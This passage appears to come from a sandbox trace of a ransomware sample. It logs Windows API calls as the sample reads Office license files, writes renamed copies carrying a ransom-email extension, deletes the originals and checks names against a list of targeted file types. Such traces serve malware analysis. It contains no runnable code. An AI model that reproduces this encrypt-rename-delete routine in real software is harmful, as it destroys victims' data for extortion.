(normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 0x220 [0196.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0196.440] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.441] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0196.441] GetLastError () returned 0x0 [0196.441] ReadFile (in: hFile=0x544, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x4df6, lpOverlapped=0x0) returned 1 [0196.445] WriteFile (in: hFile=0x410, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0196.839] ReadFile (in: hFile=0x544, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.839] WriteFile (in: hFile=0x410, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11a, lpOverlapped=0x0) returned 1 [0196.839] SetEndOfFile (hFile=0x410) returned 1 [0196.839] CloseHandle (hObject=0x410) returned 1 [0196.839] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.840] SetEndOfFile (hFile=0x544) returned 1 [0196.843] CloseHandle (hObject=0x544) returned 1 [0196.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 1 [0197.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0197.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0197.160] lstrlenW (lpString=".doc") returned 4 [0197.160] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.160] lstrlenW (lpString=".docx") returned 5 [0197.160] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.160] lstrlenW (lpString=".pdf") returned 4 [0197.160] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.160] lstrlenW (lpString=".xls") returned 4 [0197.160] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.160] lstrlenW (lpString=".xlsx") returned 5 [0197.160] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.160] lstrlenW (lpString=".ppt") returned 4 [0197.160] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0197.160] lstrlenW (lpString=".zip") returned 4 [0197.160] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.160] lstrlenW (lpString=".rar") returned 4 [0197.160] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.160] lstrlenW (lpString=".bz2") returned 4 [0197.160] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.160] lstrlenW (lpString=".7z") returned 3 [0197.160] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0197.160] lstrlenW (lpString=".dbf") returned 4 [0197.160] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0197.160] lstrlenW (lpString=".1cd") returned 4 [0197.160] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0197.161] lstrlenW (lpString=".jpg") returned 4 [0197.161] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0197.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0197.161] lstrlenW (lpString=".doc") returned 4 [0197.161] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.161] lstrlenW (lpString=".docx") returned 5 [0197.161] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.161] lstrlenW (lpString=".pdf") returned 4 [0197.161] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.161] lstrlenW (lpString=".xls") returned 4 [0197.161] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.161] lstrlenW (lpString=".xlsx") returned 5 [0197.161] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.161] lstrlenW (lpString=".ppt") returned 4 [0197.161] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0197.161] lstrlenW (lpString=".zip") returned 4 [0197.161] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.161] lstrlenW (lpString=".rar") returned 4 [0197.161] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.161] lstrlenW (lpString=".bz2") returned 4 [0197.161] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.161] lstrlenW (lpString=".7z") returned 3 [0197.161] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0197.161] lstrlenW (lpString=".dbf") returned 4 [0197.161] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0197.161] lstrlenW (lpString=".1cd") returned 4 [0197.162] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0197.162] lstrlenW (lpString=".jpg") returned 4 [0197.162] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.162] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0197.162] lstrlenW (lpString="HomeBusinessR_Retail3-pl.xrm-ms") returned 31 [0197.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0197.163] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=10659) returned 1 [0197.163] CloseHandle (hObject=0x4d8) returned 1 [0197.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 0x220 [0197.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0197.164] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.164] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.165] GetLastError () returned 0x0 [0197.165] ReadFile (in: hFile=0x4d8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x29a3, lpOverlapped=0x0) returned 1 [0197.170] WriteFile (in: hFile=0x3f8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0197.173] ReadFile (in: hFile=0x4d8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.173] WriteFile (in: hFile=0x3f8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x112, lpOverlapped=0x0) returned 1 [0197.173] SetEndOfFile (hFile=0x3f8) returned 1 [0197.173] CloseHandle (hObject=0x3f8) returned 1 [0197.173] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.173] SetEndOfFile (hFile=0x4d8) returned 1 [0197.177] CloseHandle (hObject=0x4d8) returned 1 [0197.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0197.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 1 [0197.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0197.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0197.178] lstrlenW (lpString=".doc") returned 4 [0197.178] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.178] lstrlenW (lpString=".docx") returned 5 [0197.178] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.178] lstrlenW (lpString=".pdf") returned 4 [0197.178] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.178] lstrlenW (lpString=".xls") returned 4 [0197.178] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.178] lstrlenW (lpString=".xlsx") returned 5 [0197.178] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.178] lstrlenW (lpString=".ppt") returned 4 [0197.179] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0197.179] lstrlenW (lpString=".zip") returned 4 [0197.179] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.179] lstrlenW (lpString=".rar") returned 4 [0197.179] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.179] lstrlenW (lpString=".bz2") returned 4 [0197.179] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.179] lstrlenW (lpString=".7z") returned 3 [0197.179] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0197.179] lstrlenW (lpString=".dbf") returned 4 [0197.179] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0197.179] lstrlenW (lpString=".1cd") returned 4 [0197.179] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0197.179] lstrlenW (lpString=".jpg") returned 4 [0197.179] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0197.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0197.179] lstrlenW (lpString=".doc") returned 4 [0197.179] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.179] lstrlenW (lpString=".docx") returned 5 [0197.179] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.180] lstrlenW (lpString=".pdf") returned 4 [0197.180] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.180] lstrlenW (lpString=".xls") returned 4 [0197.180] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.180] lstrlenW (lpString=".xlsx") returned 5 [0197.180] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.180] lstrlenW (lpString=".ppt") returned 4 [0197.180] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0197.180] lstrlenW (lpString=".zip") returned 4 [0197.180] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.180] lstrlenW (lpString=".rar") returned 4 [0197.180] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.180] lstrlenW (lpString=".bz2") returned 4 [0197.180] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.180] lstrlenW (lpString=".7z") returned 3 [0197.180] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0197.180] lstrlenW (lpString=".dbf") returned 4 [0197.180] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0197.180] lstrlenW (lpString=".1cd") returned 4 [0197.180] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0197.180] lstrlenW (lpString=".jpg") returned 4 [0197.180] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.180] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0197.181] lstrlenW (lpString="HomeBusinessR_Retail3-ppd.xrm-ms") returned 32 [0197.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0197.181] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=22092) returned 1 [0197.181] CloseHandle (hObject=0x4d8) returned 1 [0197.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 0x220 [0197.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0197.182] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.182] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.183] GetLastError () returned 0x0 [0197.183] ReadFile (in: hFile=0x4d8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x564c, lpOverlapped=0x0) returned 1 [0197.198] WriteFile (in: hFile=0x3f8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5650, lpOverlapped=0x0) returned 1 [0197.200] ReadFile (in: hFile=0x4d8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.200] WriteFile (in: hFile=0x3f8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x114, lpOverlapped=0x0) returned 1 [0197.200] SetEndOfFile (hFile=0x3f8) returned 1 [0197.200] CloseHandle (hObject=0x3f8) returned 1 [0197.200] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.200] SetEndOfFile (hFile=0x4d8) returned 1 [0197.204] CloseHandle (hObject=0x4d8) returned 1 [0197.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0197.204] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 1 [0197.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0197.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0197.205] lstrlenW (lpString=".doc") returned 4 [0197.205] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.205] lstrlenW (lpString=".docx") returned 5 [0197.205] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.205] lstrlenW (lpString=".pdf") returned 4 [0197.205] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.205] lstrlenW (lpString=".xls") returned 4 [0197.205] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.205] lstrlenW (lpString=".xlsx") returned 5 [0197.205] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.205] lstrlenW (lpString=".ppt") returned 4 [0197.205] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0197.205] lstrlenW (lpString=".zip") returned 4 [0197.205] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.205] lstrlenW (lpString=".rar") returned 4 [0197.205] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.205] lstrlenW (lpString=".bz2") returned 4 [0197.205] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.205] lstrlenW (lpString=".7z") returned 3 [0197.205] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0197.205] lstrlenW (lpString=".dbf") returned 4 [0197.205] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0197.206] lstrlenW (lpString=".1cd") returned 4 [0197.206] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0197.206] lstrlenW (lpString=".jpg") returned 4 [0197.206] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0197.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0197.206] lstrlenW (lpString=".doc") returned 4 [0197.206] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.206] lstrlenW (lpString=".docx") returned 5 [0197.206] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.206] lstrlenW (lpString=".pdf") returned 4 [0197.206] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.524] lstrlenW (lpString=".xls") returned 4 [0197.524] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.524] lstrlenW (lpString=".xlsx") returned 5 [0197.524] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.524] lstrlenW (lpString=".ppt") returned 4 [0197.524] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0197.524] lstrlenW (lpString=".zip") returned 4 [0197.524] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.524] lstrlenW (lpString=".rar") returned 4 [0197.524] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.525] lstrlenW (lpString=".bz2") returned 4 [0197.525] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.525] lstrlenW (lpString=".7z") returned 3 [0197.525] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0197.525] lstrlenW (lpString=".dbf") returned 4 [0197.525] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0197.525] lstrlenW (lpString=".1cd") returned 4 [0197.525] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0197.525] lstrlenW (lpString=".jpg") returned 4 [0197.525] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.525] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0197.525] lstrlenW (lpString="HomeBusinessR_Trial-pl.xrm-ms") returned 29 [0197.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 